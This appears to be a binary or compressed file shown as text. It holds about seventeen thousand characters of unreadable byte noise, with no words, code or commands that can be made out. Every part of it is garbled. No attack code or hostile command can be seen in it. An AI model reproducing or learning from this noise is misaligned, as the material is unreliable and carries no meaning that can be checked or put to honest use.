��Pw���g��k����%ŏ&��U��c���1���q:�gU�ij
'c��q�!V3qRMj����Hc�IX�)���b"Q޴�	��X��V[�"lH��i�v�1�1�+,�$�xO�(^x�FPعP8����|�Q��rr?LE#�DϮ���=u�#ݴ���&����'
� �����+i
7:;}?TtR��7�f\��m.�)�0��Ԅ~y�7��9�:
�qh
�eu#�6����<���C(�x�����k3���H4߱�Jp2[�*��9��iw��˛��Ʌ��:K��,+�
ij����P7�k�Ѓ�����LT�FװV��eK��lf��������8�����}�B\�4�ap6�Y1���V2�ȸ]��9?��6[k;[v˚(�n��b;)`,{X�T+V��$���W��RQ/������T�V���H3�af"Y�Ҡ(X��J�D��"�0\��,��f�:��<��k�Q/���Ǧ�am\p�y�<B��VI�4���*恺0�$`��!��Q�A[!�0~7$0���,��{y�Cjm�D��t)Qn3�2�c�x%Y3J{^P�k�Dָ��<�[h�)�A!	RyV]��X�vSǽ�P��OP�N�e.�	2rz,f�ގ���ԹlH̳L��\��"KZ�1�� '|X
�z�ќ פj,�	�B�傩SY}�[���l�P5l�A��IA*�
����5���j,��=��P ���0�'SV5�(U�<ٝM���;������ş@�O�[@I�,&u�"s�aFh�>�Q�|�NT6tS��%��U���N�]�ʤ�i���Cڦm�7Iי�s��$���ܤi
�
y*�DAQ�QD�A\@���<7wp�<Y����s����{��S�4����l��}�[�Y�Y�<^�b,��	�t�QaJC�o�P�;�|��%�pSE櫈G
n��T�6b�'�z�C�
�?�-����q�����g��pb@��\m�	�qQر�V
rK� Qb'�-�@c6*N��d~�j�5'd*���WQC�t�0�iNj�
s�M7�d��M�7���ΎzY�|�r
��I�&�3^���F�H�t�񠚜n$�b���2�v
5!^J�=x)/
�YG}�D(�]Y�)Z$�ڵ~Ҁ3�*R�1>e�����C��l�Xd`m:�*	����D����H�Q$Fk�˦
Wrp�a���0��N��,
7yBG��o5��"i��"mLS&��g��r��
RPr��VUhr�������~W�b�[�0�]M�ʲ��,z�Z	|s�P2I'Gm�`��2��H̄� ,��h(K���D��XmP,�{+�5E
�O}RR8��
D�;$�)
_�i�!Ë́�!���D�8�`���"�3�U�brQT�䌱�������%7d��"��5����M]��^%�dr�ޒ�T��}70Ǿ�a�P��s3Ir#<���Q����ݧ9A0xrs��`.�*ڈ���a���R݋���i��E?S�#$��]3�`��x�[��ru����ġ�c�u)&WUh�CR�F�j0�L�~<���t����?�AvX	�Y0�Qr׏Y�l�2�ᘈ�N6W�B�\V;L;,ao�o��F��qjj�ʾs�=��;���z�
-�6���S��5C&�Q��';s�t
ȩ'�Z�)�f�9��Oa�), �Γ��B��ǕXw��B�̬X�E.N��@3Lo��*���P�D��kV�QN��,UmQ���-RUDהp��ܩ�
i�u�ox�j�4]�>ݳ~O������y	�J��B��Ÿ���T�� �M�C�*��@1�*��r[�Z�(����j��2�b*���UxRhD=N�٪r�� �+{�;��&eV)Is��wxi�������_���ݿ�����PMj����2���Y���j}�8p��bѴ3̋+�,�XJ³��,�	\c����+�I�fZDcB&�#���&�7˃P~X)T![��Юq崸&��ib^�����0`��r]=����f���Ӫ���&/o5�N���)uYi���8`�_�>�v����{j8g�ٵ@<Ր��t��,��,Ʋ�����|6� 6��c���D�⢃~���)R?5H e�xI���`k�>U����6�n�q�{��r�Sf�����$���2�TO5����@u*��Z$L\x(G;;�|s�!�dqb2t��6��F�j���HU����_5ˊRD"�A��;�
dN,�3e�.�����Q �8I3���6"9څ4��)�����Ĥq�El(����fp�bg_���
A����;�HMcQ������Y���AN��,�\�9�VJ�(��C��ι��!$A&�J�9��� �D�.pREBo�y`TY��h�������U;�)���E]6�v��"����XA���ol��F���v��`"a:e��;��Ux�Ix|C�Kc��j�w��j6��@���<�h(4�FA^n$��ة��c��t��~˂��Ee�T6�̴*A�{!HI&g�¡�78;/4I`gb��2�H,@Bn�}&��*����Ҧ�$`8|��
��:��b�/4�����I3�f0-��9$��+qĂn���u�}j_�s�{��*q���Zo�Fx虬fq�ߠ��ᩳ�}i�s����i;(��xE�|�����GKbk[=)"�Φw6��a3+���q��xt��-T+��^��*�7��Q��j/,����U\�*�`l���m2S�m�lb�Q��n�A���K�/�ۙk=�}_�������r}Bm��]F1#7�'W-1u/����%
&���5)�CM��ZP)�JԌOA��#![�ΌU)�����?ЈH�i5�Ow᷏ﻟ�4vr��6g�%���r���d����>����f��"�� p�RA�RΏQ0U�c�ŸQX�jlYح�[�+�ErЋ"�m�>0ؙ�B�8��٨IfLp����7�s��OL}����j
Qw&Tg�N��@n<	���&'篆-)��y�-�QV��j�l\��	w���T��k�mjg��1�BsxB�N�bc�&$^ AXjı.b�
��6�ʐ����\mgT�p`�q�|��'��O�ޠ%��a�t��֯Z�~����4�%�.ڨ���W��M���V
�S"1�%�LW�ۼ�t4�����K�+˭ ��H�2�udLv�f��3�?�t�ؖQ�!\![*�#b�]	G'�PT��f�b��'S�H+kbUBG�Om���s�A�igL^U�>��dPA�)W���l�	�/;]�B�)%��Dz;j�,��pibH�B��=8	+b�N\��i�W�EGb�t3HhSbDJ�:��M"7@R�qU 3����5�,`K%b�"�%�70�$�K'���F�j@V"�0.X���9�Ծ�ܟ���/��6�Q^���\~���]�����Š��JQ�.#�#��ѿ��1צK<m�@"�$0r6/��A(�[b�+gT�U�'–����DR�z����=��R9��м(�79��s�Ժt
���}ټ����z��s�AL�d��!�&b�E
*&�Ih}�O���M�b0U�DZ����Ӳ]l�BL�9w�o�&���^�$i<m�N7�j�m�I;�x�P��wp���DG�<7�h�o-#ӳ]'���1Շ�mui�BM���)����h�51��.�_�b��J#���7�9�M�`��$P:��
�V�.���D1��!p?0YR�4"�,S�z�K����	� K��t�h������f���UzǾ���>#���\=CwH-�m�aWin�Z�Qpڦ��Y�ڼX2�~�+�~�/ua��9�a��0�Y8�qʀ#d
]03Hd8j܄PC^c�o���=�&���Y���j��C^t����c�rD�\�E�':X�pбʄ�	U&XF*{��0�<���Q��%��v�S,1�*�k�H0�1Ɍ�d��vX� ^o�qO6��3��Ys�t�L�?h�YI`$9�����J��Q���;8f����d7�It�⛭�u��S�E"�1���g���%�����2ݬ��ޕ��`�l�7�'��,���>V����	���9���@:C���✛�ƻТU$x-�;�Ua�;-n,�,B�S�� >�$�<کTҎ�ɮ�&�հE����8�n�u����q'�it����+OO7E=�G�?0c?Tʦ��ҋؘ,01���`��ip��&�|�F�;C�0�-6�1��[g��{�v�mfV�"�T	����;�*�woJ�Ǥc$�S��H�h�-��3�`��X>u�&�vO�~�+�7b�,iiiu����8@e@\+
Y�A�
�=
A���o��A�tc�������n���0t��bl�͎�y��&�z���8P�����q
9riWM�W���E~w��I��pD��ҿ	XZ�sCu���b��H�sIœv���ԈW_:&�+U�G�,��)]�R��ked4kH^Je�Z�]~gU+�L�Pm�������6�Bհ�^W;��s9XbC-x>	�u���?21c�ԋ��	@m��5s
<c䥩^:��L��I2M"ԦE¬��4K��W�:��ljU��e�޺�p�YD$n��C�T��eL��^'-��k�Ps���NhoY���M5�ٜ�cْE=�.D�j�S٬&��Ʋ���e�c�Uوu�^��3
e��Z`�
�&D�p.f"��E�A���j������~l(���Ve��c��K�B�qxe����h�%���w�Zį�\c�<7�ƶ�p�ZbĐc��f	��v���Vj6�^Y�Z�S���ƒ�|������;}-$Btul�i�F^N���z��ɛ%�<h<�R2�jN��Ă5�!o�[]Mx(�*�$o�k�euF�s���瓨���`=]1��@��evG=p��
o+g��$�N���Qg[�gGĞ��φ���|����;˪����':-�r���Y���g�o�"/���b^�j���إ���N�`�h�v )/N=�o�y�gs-�;̕���_F׊�e��U#o�^� c`�+��᥮�h��$[��܀��KS�\>����j���3�b*��8���@c�jͺR�_��/u�(c.�k��}쵮�KHV=������e��+���g�"��
T`��k�>���\��)e��wVL1ym%�uMhn��7�.w^s��$ya,�dHnQ!D�k`�3��a�\��>k:x�;��m<��2�R�$�|f�%.���y哒�C�
Iff���\e��b�ɋ�3/y5�_�(�4�S�Ɣ�>�޲Ee�b5��b:-���Co&�]
�ָo��=��j��E*����I�
{���ִU�xG��$/|�9��&���[�_�T~�P�� �p�oS�҇_Z���c@U���q��V%�9do-fb��gs�R�iC�捥r�X���0��ï,���R'y�o8�i�4��a护�_+a	!����������L��t���֧+{�[����������FܵYAލ�w�Z�鷖q�++1W)�bҪ,Zi�л~���0w t�&��
�W�:�|q�
�L}����H�I���R��>����^��Eb]f����ye��Lۄ<��*k�,�a���dM���^��R$k�	<�ͮ�˒f����]�50��@$�"3fU�Zyb�u���.W���ͦ�L,'��
�2�I1c����v�p�yic
qI˝8�Yu�_
�~�H�|4�5#.�G_ZԳ�I%�ƢF�f*��$��MR���Q�պ
yeU�BآUL��Z:�	{�T>��sSi��V��cy�a@��u�>Z��+=�1�^�6(Z��+�!SW��%B#��������B���B���Y�Һ66�U9L�0`\��@���1l�H2c���EYD�@�rf���Rm�dȶ�P���w8����1D�0�I3���M+:G4qJ6-��o+5��"h�в�0���$�s9e/�f��l�L���s�OTK��
{#�&��k5�1	�i��	9��.k�Q~&��º�e���`S}^Me�7��!f ��M���%�H#�3�fbm�A�ܦ`�����@a�>	
י|��.�\�6��"�Rr��z$AH�Ef/�F�KD�&d��c�;�r��L��p&�V,،hP\���D���m뱙����)ÍQC�/T�v/Nb�J�׆�#Ȋ�=�b�l��i���%�W�tF!�WeE.��<<09V˚̉�ۛV�,
�t�r!��p�Q�7Hr��
6Nd�D���J���:Z�_C��Q��/V7�N߅�K5�lc2d�B�1K�rs��F�!A�S�$����{�Q`l�X"?|���d8H�*���F�̥��Ң��}ė<�J��N��%��������r�1�(n���#�T���A;OU���$���.˄��qL
Hʨ?��?3��ڇ��X�S]�a�p�^\5Oo�D��,�f��\"�2B�M*Z�I�(���1)/�;>�Z'0!L�B��J��ӌ� ���2�[E�����d�c��N`bߩ��f��D�ڴ��� �jse���Z�p/�*������d�*O_q�c�(L�U���ϛ�U~����b��4Z���WB�#��\n��W\@�c=�k��m0�a�z2�&��#�j��Q��o�4�2�e�
d�H�ġ���]C�j���Y���=�cT�����
��(���IF�gL�8��|�ꮶ`�]�>�B�n"�Yh$m3��A�����H�j�v��zI$
�T���y�~�z�O*�nu�N���D���iX��t�bs(���<s(�օ�	���e&-��s��,1+v��Om-����i�qP�
�۔B�|Q��K1�O⪔�T�ٱ4פJ���Ef\jmI_u�YY�����l�jY'�b��E�Zi�b�lUIG�+�&��ƪ� ����
&�����dxzb:dA��d�����
]֑z�<@o�`͑�x"N!�d${�C��z5�����p�svD��V(d�&�;�qBI�B�	�k�!L��D�B=����B��!<j^J�J��!ͩ���9����O���Z�P��F��# B0!�8�����w��֒3����'ãhMG'Bh��WUjlW
쫔�Ϡ"�XޫR���k2�?h�T���6��a�	�`�'F|�Ul��)�Ì0��v�nX���#6b��B�r|E���\�*�Ke���wN�HN���i����,:����&��Ѷ�ٺ�����8(m�l�uǚ�	XH�
�.p&�Fγ�����ڰE��LN|dA[$�(*궱�cGKطs��	j���D�Çv�E��1���o����]��:�����S����8�K,��BM I�[��C�	'
S�׼�z3T�Ɵ�Q�–�p�ھ�8����N��M��J�-�^$
`dj��ǂ��@-;+�@�+�Dc��p�`�v㷻Ϫ|�޽�j
�H���]g���՛�e3dh��I�}���R�d#TS̤�l�N���mX"C!bA���ܾ�*6`��<ѩbL��a��pp��۾��|*���X2K་�&�sM%%�à���Í�+�k�o0FIc�t�],V�E��k-�[���6X+�&�P1�W�N��
�,	Fq�a�ř���aN��s$�C�O�GY1I$J@)4>�d)�e��������P�M��� t�hQ&-�^�Y�C�G�%P��h�x���FJ��OR$#�ecD@i�Z��n�#���U6̧q~u�"$r�ւ�V��8�8#�z�ƥs%"��!��8�9��ĢP��Y`��A$@��Ą�G}S�Z��Gcl���"�Xd4��RT�@���H�L8):b�0�٫#i�|�~F+\m�s[��ög��<s���DG-��8
�`��!���	.0}hZm&��
��Ӌ��"�E�������o�E�)�q�==�%�qꚧ�K�D�{
cټ�"��cW�(��Ǯ�1WC������/l-�2��[)�‘�l�WLQ��n�U-�!�+�'t�XC��,΢��V��A��?�Ӆ�R��M��	;�o"��*O��v�bSy���J�e�h�,$U��\��Y��a���Ř
-��c1U�#5�Ґ��p�*|�m>����$�4�$��s�O�4��m���W���t%��R�;��]�F��/��S��>�h��fC$�=a!�}&���,Gp��{B,P%��<&l+u�(4P������Œ.�2AI�(����b�K�&�P�e� �w�5~`O&��˒m�@ �d�=����e<F%|5$\w�ڍ\�u�'�#Ј�@�Vk<�vXY]�"{��jb�0�ZNx&BT3.̓���8d�����.
�dw�GJg�8MF����}|�ad<.u���I�B��I�h���O1�g�R�ir6@멀l�ёn�յ�ř�ȷ���ѵI�d]�����f���P �M����UI���_�L�k9�Qթ��q�c V�tn$n]��u�<@4V1v���R���4�����<�Q���<��Z`A�\���Y�Xla7�D��U��+I`z�� �8?�p���Nk�`rt4���\�����i��t,�:��+��VE\����̧�v��
��a�l(<?�Ǧ?xX��}�HnU09��?�n�;)k^�ߚT��2��"�U�	u���Ҥ���Ǥ��2#Za��^Sfq�1��+l-
B�pB4/*I�uG��,��T[ʴ$���\�]"��
`���i���uU2u�G���4�(["nzF���\s�c����a�@�DG'|0��'�\ơ��(�9j�^�B� ��d��,Yjeѹ�󒚎��am����(4"�Cg��45�b`����ӱ=Q�㠼�#� N�\=ЮU��1���q��s�t������P�U�?���٤��Ef�sV56.
�-T�^b7`�}/諒]���d��`�c��m|�}����chJ�v�Ʈ���	�:��۔���y�Q3��i+��iz5A0 �)	�jF��F�.�!
�F*��Ƚj)B��PL!�	`�R����@T������D�c3��e�����4�n��&Jͬ+���"�<�L�Pa��"��9r��vț�$}7k�5܈'��L�9ϋf8�+R#���S�����q�a�m��&Yp���6�݊�f�QR��_��vkUYҝ�T�2��u	�y0���5����kl�j�1:�a��n�S<k``��~vMQ�����C���ӧ���	�a7�qC����Y�?*}c~�r|�?����
Ux�٠
���&
o^��e*}��ƎV9�:=23�~�����p4��P�G�Z¯�����[����,�p��lx4�Vs��mr�_A����I��G��xS3E����_00wo"�`�:���WbI'4裆��a���X�y���+��y���J
��P�E:t5e��Nzb�e�O��V;�u�[
�8\P�?��!x8�aK?�y2����*{�vfF��P��Y�<_>��cO��У��j��K��Z��'�p�K)Z�i-�(�O�����R�$�*dDsK�"�`6YP�8={���"AP���]��9@�b��c���eA����� ��D�E�S$���[���"?L*�gl.���2��bi|}�m=X!�,�7�i�ɸ�֌��4i���k���u���:n��ph�T�:!����+ې�����R����d�}��/�	^R��sL�,�lXv$9���0���b� �*f��	�@2
�C��s&��CcI@9���N>��*�Hp�ʚ��!14*%���R0/��	�t)���௳��w���c5�<�Ӕj�Ka�٘S�,# ����Pф�5��D
�P907�M����N�dVլZ�߁#��}
�K�=��:Dp�!�v��*�M���j�X9*�r�e�J�����+o��K��
�`L�"'��W��q6�G4'Ҭٓ9��a��x�q6��BP�IČ�����K2~,K��rmk�	���ۻ�3�3�����)�7��๋&��僟s�Հ����Q`�ꬷZ߃��Fk�;�A���{�p:�1�[��^3�NPGb|ւ6��ac�@��v�
����Y��	�W�r��o\�ϡlP`ǭfPe���&�@y��Ѣ��
|�Y�7pJ�u�c�]�O$�:cLN-?v�{�	�v��ư`�3�C�"�]��NW�g������k˔ӤB����s/��j}]'�6ڃ�[�c, �cq��败�2�J	�MS���Sbr��Ds�����JF�g�ܑ17f�
L3�*C�F�\Ro+ˌ
۱Bw7i���E�浮� �JP��������(-�sǙ��w��Q�25č�|���$��;R�.��=����! ���F�Bb2��n��sYE}��/5�4:�V��MUQ�vh�xcf�.o�	��5��QCJ�{����+�ȅ6��"�x��]���w����@F�b�h�C������
��E��aeĎ
�u��LYH쒱8�YN��!i&���TT^�jyrA����;Ї�4�������v�
��	���c�K̈������_hj�����Nhn�K34L�R�,"��E,�AS���A�'�B3g��"��"lȺ����L
37\��G�*;����t2V�H�TS/\�(�3��w��
ce
�+��2>hJAS��@1E��A��Kt�"���DDB�i1��2vb�P��l)C�h�cRc6g ԰�Z+���k��
+�ջ:հ���x1�!Js�#��h|��c"��NO�q��1�Z����F�ۉ5L8�����l1�X�y�uժ�`f>&rH��L�QĊ$�MdDQO9��L�7a:
�Ae�E0ʌ �@�i?g��n��NDD�}c�,֟#��ƽP�"�o�d@T�U��س�)�g�7~�Vj����%�0�����;�g�𡯔͸Rf"�l�C[6��\/Қ�xҨ����"�,IO#"V���H*�c\�3@�=��)�ƌK3�cNL���1IG�3":��$�u��'��`�K5%���S�>缈�_��"$��_R�W̦@��I@7v��](�r����I
�ZMEOP�o��MӴ�h��U!�ħH��5uS���D|Ib����9(u���I��n�Ao`��u���I�MǦ5#�������Y�N�؏�m�䌮��jˮm�	Lۯ��->�k2����53��'�8iZmSz�Nf
����@e�)���3����Ƅ����ň/\�D.tꁳ;�a��[>z��\ !*���xZ��"�y�a@^�$�۪S<�)U��!��SpG. ���A߸*��������7k�J�	��0�0�8���\�l�Ъ%A����k�Z�fF�E۪�r�S��$�4[�A�fT߼�y�
�R|VQ,}�ϴ��E����c�y0��K�9J!���V�+	-���p�!����3��l�X�i`����mW��AV�!���S�ԫ�`�r�bB;!�X:ɦ�SG�/��C>h��荥z�KoL����YD�����(߈�(}���KDqѤ@�Л������U��!n-e[=�`'���4b!_[�e�u����v�{ώ�.����ABv�|6U	a�0H��0�_����&�ی~[�o+�mC������o/��C���׏~l��� @ȃy �A�<�� @ȃy �A�<�g���oUF6��13��f�+���V�B�ڶZ�ea�Ʌ�R>�I��X\�&��;:���ecz/'�yRȎ��ݬ0��ۃi��h�ʆ��
���<�1v��`�"=H���4X��M��G�bG�4��.^;6@uگF�_:��=])Ѵ
BNH�5d3&܉V-9�tc�\]������2�G;�fY|&���1��� �D�VM����<�-�av#ʹH�G��/+�����6J]=c�0���Iթs��c&�z�`
��?~��Ŭ_D�
�t$Ƒ4p�3NC%
�s�����侟���glƨ��*^bXa��,�W����O�6��٬	�)*bC�U�P(�� ��[[iDX%����(�]n�DB|��@�U��!��d�ˆ���fFD���A ��NEœ�	�EçC)�Q�)*QYn4vI%(�{uޘ��h-�6�"�`����&�?�QZá<ڬ�w;�t��/�QW_�,�
��
�Ǎ�u�p�?1�(�l���S
~�
��:��3��3���(3�T��B��>h	���ԑ��@tT�CP���,:;�W����Z�ޛFe���m�B��K$��9*��]��6=�'��=}LLӋ(T�� "�u��Mb,��&2��SxA*��	U��AP�`���‹y�Ə��Z���w���)�&��Pmy��˔��e�eۇ]��qK�����2�H�@R�����R�[���"��ce��#��>�DO�Ye�DtRm'��*����|й�h\��4 �Q;J5�z�g�^�V����FNZY�ae���e�  ӴYI���̸�RίȀ����/�Uف
x��{63�8bY�8f�벙]���Ҹff�=BB��1$ѥ���H*3#u�5%�#�9��"�bB�X��(`�-���AM�!娐�l��}
z�vd�>��:�����}������yjaR"��Ă�B���y9AcSyڰj۫�FF҂5��J5���*P�c#�A����b�Y����`΃[];�Q]=�!���p!�"Td\yf�Ķ�8=�J^�y�}\���m�8�V��M��ך� ���;(�T�[mu�B�ȜxjN�����ƢV1.D�bL��h���v1��R.�	�P��s�\����6��5;S�m�x�b1vKȰzoP�"��tQe?�m "��U/)O/��
_#Ub>�s�N��,�Y7NM�#��1Cd7̂b�d����Dڭ�^5􎯿�o�
m��Ť��00l�1c��7($�]V��V͏�?0O�
N��b�]5{L 0�Q;d`	�pQ����[�����$��'9B�Sw*�%�zF��ջN�ml}�J	ts������D�i��!���H���Z��&�r� �AP�;��&V��U��2��cĀ�^��E"�H��Cp;,��O5^Xe��u�N�R�]��p}#�
���&��D�6�*���W�R��lb��{���"t&�|�h�t5r��ͣJ�̤�-��.��Fd��2B1ɕ�f����2�&�Z��U��-"�6�+�Z�����1Q()���^�6�����Yt�(�l��Q�dU�7�
5;ݐT9�C�iA(Nv3͋�OuCF:��U=�:�/l����-���<J`����MC|m�yٱò�AL2��fi��D=�p�=���tQ���zJtѩ�lo�,��	�Up� �6����\٠°��[y�E�4"I9��C�0�Udr�ce�l�K�J�0%%p"g�
�>/�xb��F|a�ϝ��EZ	�9��I�n�"y��O
�rRL�QQ�2A�R�L�O�U3Nδ�\�8tZ��	�
NBgO���j0
���Ԫ�`UO��^'".%9Cͦ��	��FQ��C��dzB��4��lERh�JK��,e����p߸��9i�f����|e'W�%��fftR�$^Gh�
:H�'J�*�C�􆜍��MƖ��Q-�:�������X��%�g����!�jD)+JQ�����J4і���-�W�,AE~��:�Fщ�P4L L[�i���6`
E��2+��
5ף��	��Ç�͒(��j�9�D%��آ���%q�״�ؖ��`L�3���-�Y6q�b���'9T)Z��p�-��x�[b��\�d^B]T0��)�{��#��B��]��d?���J����7�vE�B�FcHr,�Hd;+������|�cW������AS��&�m�Bv������2vr���*!�a�R2>����<O3	m(x�����4�$����"�y�}���YܜT��g�ٶjIZ��ٶ^�pg���#$r@,Z�l{���B�)����
cU�N憟3p]]/ԸS�5��	6�8)>�l����~H(��l<r�&�����⋝��dV2��xH�hf���<B���9lxf6
�� �?�V5���8N�0{�o=Y($�Y��Y�q[�$}�����
'����
��	�(7��\������]\���;]1y������yy�3&o�E��u�x�X�@^!��~�����
�|U������r���m\<y�n��Q��/���J�tX�-x�h���E~»�ʅ\y����D����a�	���X��IMn~�z�91N%t�Š&�0Y�T�������!��";̩[�nmi���X3�moQeu��Q���7��t��$�!�q$�7f��x�>R�5��歛A�"��|��x�E�qn�$�f[�g�xuw����v�0�v�iE
E6��|���k8^��B�]�6K�eŪ��w�9�A7�˨�ޢ���j]u����j2,��Y;�!pH�Ш�%�0$�J�E��db��C��)�N�4�PI�]��
�:	h�ss�$K55�ߪ2�Ǘ\B?�m�27Z��jH��L}�}-l} �.N��^0n=5<�^#Z�0�T7X�`
nG����xn��0���n��u���%���JT�_C�?a��������3�B;&!�4X���g�]���7d��=Vp�-mGu'�,�S��8\;)�P}�1h	�p��d�ª;�Q��kv��9Obt(I�@罡w�4�eO
��EDB
��PMU�4e"��H��"KI�*���J���U24 0�4�Y[����F��\��Z��Jk��pVe��w�ܵv�%g��F)�c�����ת��Q�X���۪��N�Y�_D����@��3<�r4X��y!��
�������������j�¯H��$�XI2����ܲ���`.Nv���P�,��'�����[hW�JR�k5��VP��\O�-�8�I�<�u���(�=zPQ�@bj�,n��럇���j�2O_�KE��g0�
pEr_����LS��1�8N�
���N�T�4a���%��(�.AɡMI����?��f�=���@�5�>�~�E� ��"�g�l)��ya�eĞq�"w"M�!��GW���D
�c!=�Kc!�X,%�ʆ�%l�6���9�=���N�Fr�؇���Ã+��pإ�p��Zx��7�6��"D`�!�89���
A��>h5
7�8�6;�5U�W��Vv���z�0��<�W8�:��NB�j�1��Oo�����j�p��q0�8�I�2"�&��NV��*�ł!)�!�����F�>�$����?�������r�W�6�tf�\[
X��th?�ׅf�t�Na��p�46RM�%*���/��s)kTR�>�-��D�[��@����)�;���J�Bn0(��Ax^vU�}f6s����
�>8��#
?M�q{�.V����i�@cr*�Y�Ġqě�7p@�{9��:�8�ҊfK�i����T��]Jw�"Yۈ#>���:V�E�Fl`FRD�/�]��N�cp�t��ЯԸ�V���}0%v<�&�2nB	v
	mqi
�e�S厓��'�����dxzb:�?S�o�mHLZ.�MMnb,�ك�Ֆa�v�N+�S=��l�\cD.�:mX_�B
�"�T���Kz{TP|�i�k
+�%�LcW0�@!��2
zW�cI
_�E�	��a2�����h�uM4�K��&Y����9�C�_����!;C$��7��K��������{�rG��Czj���\ҵG�����ՑqQ�}�����(��D1W�@7.����jɝ1&*W@0S!u��������pv��C|�ν{��R�OijqQ�D��4���AM7�F'&F|���a�
o_ܢL�k�c?���F.��ܱ��f���A�^BiY~he5��2�a�h�h��Y�F�ԛZOîRN��^� vҮ�f̙`��"�޿������%~��l#Ց�tԞ�"T�H&�+$RO��2��pH�A#��e���nbƳ������ �L��-Wh�3��jHDL�ꒈ��q��hd$.a�2zE����3�'�B���j��+Mk-�q��c��1iUJAag:��8G;SK���
Yq�J4��cZ�����E$^fbb>F����?LWE��N�D����Zu�����:���-EJ,����.�0�k˒�ѧ��x]�Oo�Q
H��\
�/y��X��?���b��Y�(���T�m~9��k-�L�.0��1�l�\d���[[��VZU�Qr"1IgYǘ�\&��F ��!��i�e9�	մ8m�\n?���@���Iެ�VMJ���mf,�#1�$��)���ԩӄ�9�����T�t:�e��u��&6hD%t9����Y�����}~~Ժ�;��m�<pm�7�zv(��&}�!kO�x�o����K?/������S?�#G���eK���=w���-Çm��m[^��.Қ3��9b>S|ٖ�v��̍����lZr�?�X*�"v�/�U�5���84R���]�K��B����f��no����y�������ۚ�sO[��+�_�����������<v���۶��m+���m
�ч>���{4���w>v�}��0%8�+�����[�#�1� ���ww���Q�QMnh^���!��ߒ=psL���kg���;w���{���s���9�M>|���l��W,������|��t�+�jY����;���;��w=�9�3��>0v�s>G%?޾g�{�GS�7x��p�
�߻����s��ïD�ڶ5�*��;w!�ݶ�u�094)@�մ���y�-����.�0�'Y�A�ݶ��dl@7����v�����,�����2Ծ����w�^(�!���e�2v�=_D� I�a���?�e;��d1p'q�j��ņ»��ܾ�^�%�"H�K��:��^/tj�͵8�|�T��=�ҁ��C��'|��`%�Ϻ�+p���dFrH`ZD�V��M���T��D+B��;l-�&�������{�Nbi-+���6ڵwA�Eʯ�Qf��
ň�"Ll-,����5�
z�m��xz�6���.X~��r��%
��]r��a�gl��m[k�iqYZ$�ٲ�2&�9x	�t�����Ę�%�-�EE^'��8����2�ڢ%���|�@&]��
JN'�Z@�Q镜��m�61���[&1��Z5Q��J	)#Q�BXN(,epxHh	��,?�{e%e�^.��s1��*������V�T��Y�$�(e�1�N{��'H�+,�W���
���ʆ~���d�7k)E�a��mxט��d�bzIVe��z��`
��D���H��jTE��^�U��2�3�����A�7$��nU��E�M���$"�ٵ��@~P5x�;s`z�f�eDJ�;D{��!���ֵ�6��H.��{���XV�������.��:K���Q��"S�a"&l�����9������XY����3��n�P8<�����O�G}�ӾA?�oT�b��,��/��,NZ��C<Y�s+�z��FZ�"�ڂp#�	"s�$�
��j��j�.��!KR����r����V�'�jp�O�y?����C:�=�Z�<r�y�C R��Zm'w	Z�N��L;$�%m
#ܶ�\��:����J��1E �E����%�U��=��x/�~��)�*�Ř���� �)ƌ�g�c�p��<�����8 �-ʜ�І�}��^!�<CV�"��I��Z�5���XT�h�@D�/�-�jA%@()E���$�X˂=
�7�P�0��0%*YJ�-�`[��Nh>����,@6W���Y�aZ���iE?�8����&�<�e��qEx�^��\��Cs:d�Qu2�@u����ևD(�~$S�r���e�@�"�`xt�FH>
�O���d�<̈́`��v
`�`PJSb^���V
T�T/:���`��f
`�`?��bՀy5`^�>53�e�Հz4�Ё�����s�X����,g����h�%�R*9Q������޸=Ѕ]�y�#����SSYw;)[�L�f(������b
�;+
�v�!2��|���Ҫ� F�9�ѸۭFӼ��4W�l6��Uk�y�q{b4��xiG�F�
��ѠR�,��()�'�(�q]�D��.���TX͉1����P��cM�n�w��� TÇf����|��j�B�%��k$��~���\��) ~�"�R������6�i��d,�l|�Bk��[��ی�im6��t�%B0�.m��U1U�j9��z�K���1�
�>�}���y,��A
kZ	|�j�I5�ؘ#@��2����﷞� c�x
�M0�E �T&Dw‚�-4��4�)qW���ĵ����?�C�E���$Ƥ|����5��
n�	h����jv���@��/:�]X�g3\�I�$���t�ٍJ�l\6�om\/��B#���|����H�r<f��Þ�Ky��cY{��u
0/x�d��KM
�O�d]=V8a��XV�1��IxSt�;	��a_����ly6�R:Z�=.e�ϩ+Z#E��+a��9�֖��VZ��	���8)�D)�9S'L��6��5.��z3�@�K�.��-4���W�c��;�~E��RT:
��]kl9����9���^(�M����aQ������w㭩�*�a�@�(�m�HQ�^u���n��۬�]��؎��G�)�K�����q�׮:���w�wd"J�k$R��N7����4�,�MC75�`}mg}}=ki�`L�&	,���� ��jA�"ZpM��67Y�n�9���J��o�:��a?◱d}���n�@#��Ku��z�ق�
T�`]$g�����;':k�L�i��ɽ&��>���!�V�Gq,�n�.N�%�t�"��Z8Y5��~7j��Z���Z���A��gD�k,���`��2������,�w�� ׳��4�:�i���o�s�^���^8�Ş=�@�s��e0�k�Mx
<p�c���@�h1��8(*ˢ�
�u�WT�^k��N{�{�$EC���G��!u8W��ໞz�AD�M�zƠ�u��BQ�`t���X��j�k�OT�DP/��$�~���3=^t��A}I���z�
��q����d��3��Qq=�bM��&!���A�֒��v;;CԱ��)I�ZD���x'�S�1ɔ0�w�B2/Żm�ж���nR��y�d`��vK��J�O�Q�L���{�V#B��rcκZ�
�Q�H)�2���W)*F�kWw�f�*�Xg�}'�
�ѭp_"�5��@���k#���NHi�D-9�=��N�c7�	�&����8�E]-�:��O�%��m[w��w%�qE���m�#�@�^w�l=�ᝤ��m�����:�(�����Ļv�M���v��{�\�{�{�hӥ�B]�M��j�&eȜ���i3�mc�P1u��;�L"%+Ix�N���d��6	�bf#�|��)��Ï���M��d��Nq����)���yQ�X`��TA�w�ܓF�v�1�z�YB�0�;KC�!a&���i��s��xXo\O�H�e�E)���n��EDV���D�/������l��"!Ǭ�=j+�6I�(`��4�H���:e�Qȥ\�A����DS�� GhhbV/�^_�2p��7�V�Nw���>rp!�N����u��
�^�`|�^[�S/�-��"�bʹ��e	&V���}7�~RּB�t��@�8]���JA���9=�
�V�3��2j�+I�/x�o�3��A��Y���\u7N�oZ�[�WW�-����Cf�0�����0.�p��y$u���Kf3��3Ɖt�ދ����h��v��e�]�ӹn�QV�~��޹*���X���(�j*�]�DX�����B
�pNI�
Ds#}�T
���8|U!&o1�X�T��Fx�Zp&�E����Ѡ�#*T��X���Ƥ����`��d�k����(n���0+jO8�3-`���G�bcA3;&!����Cv^��Zf����	o�
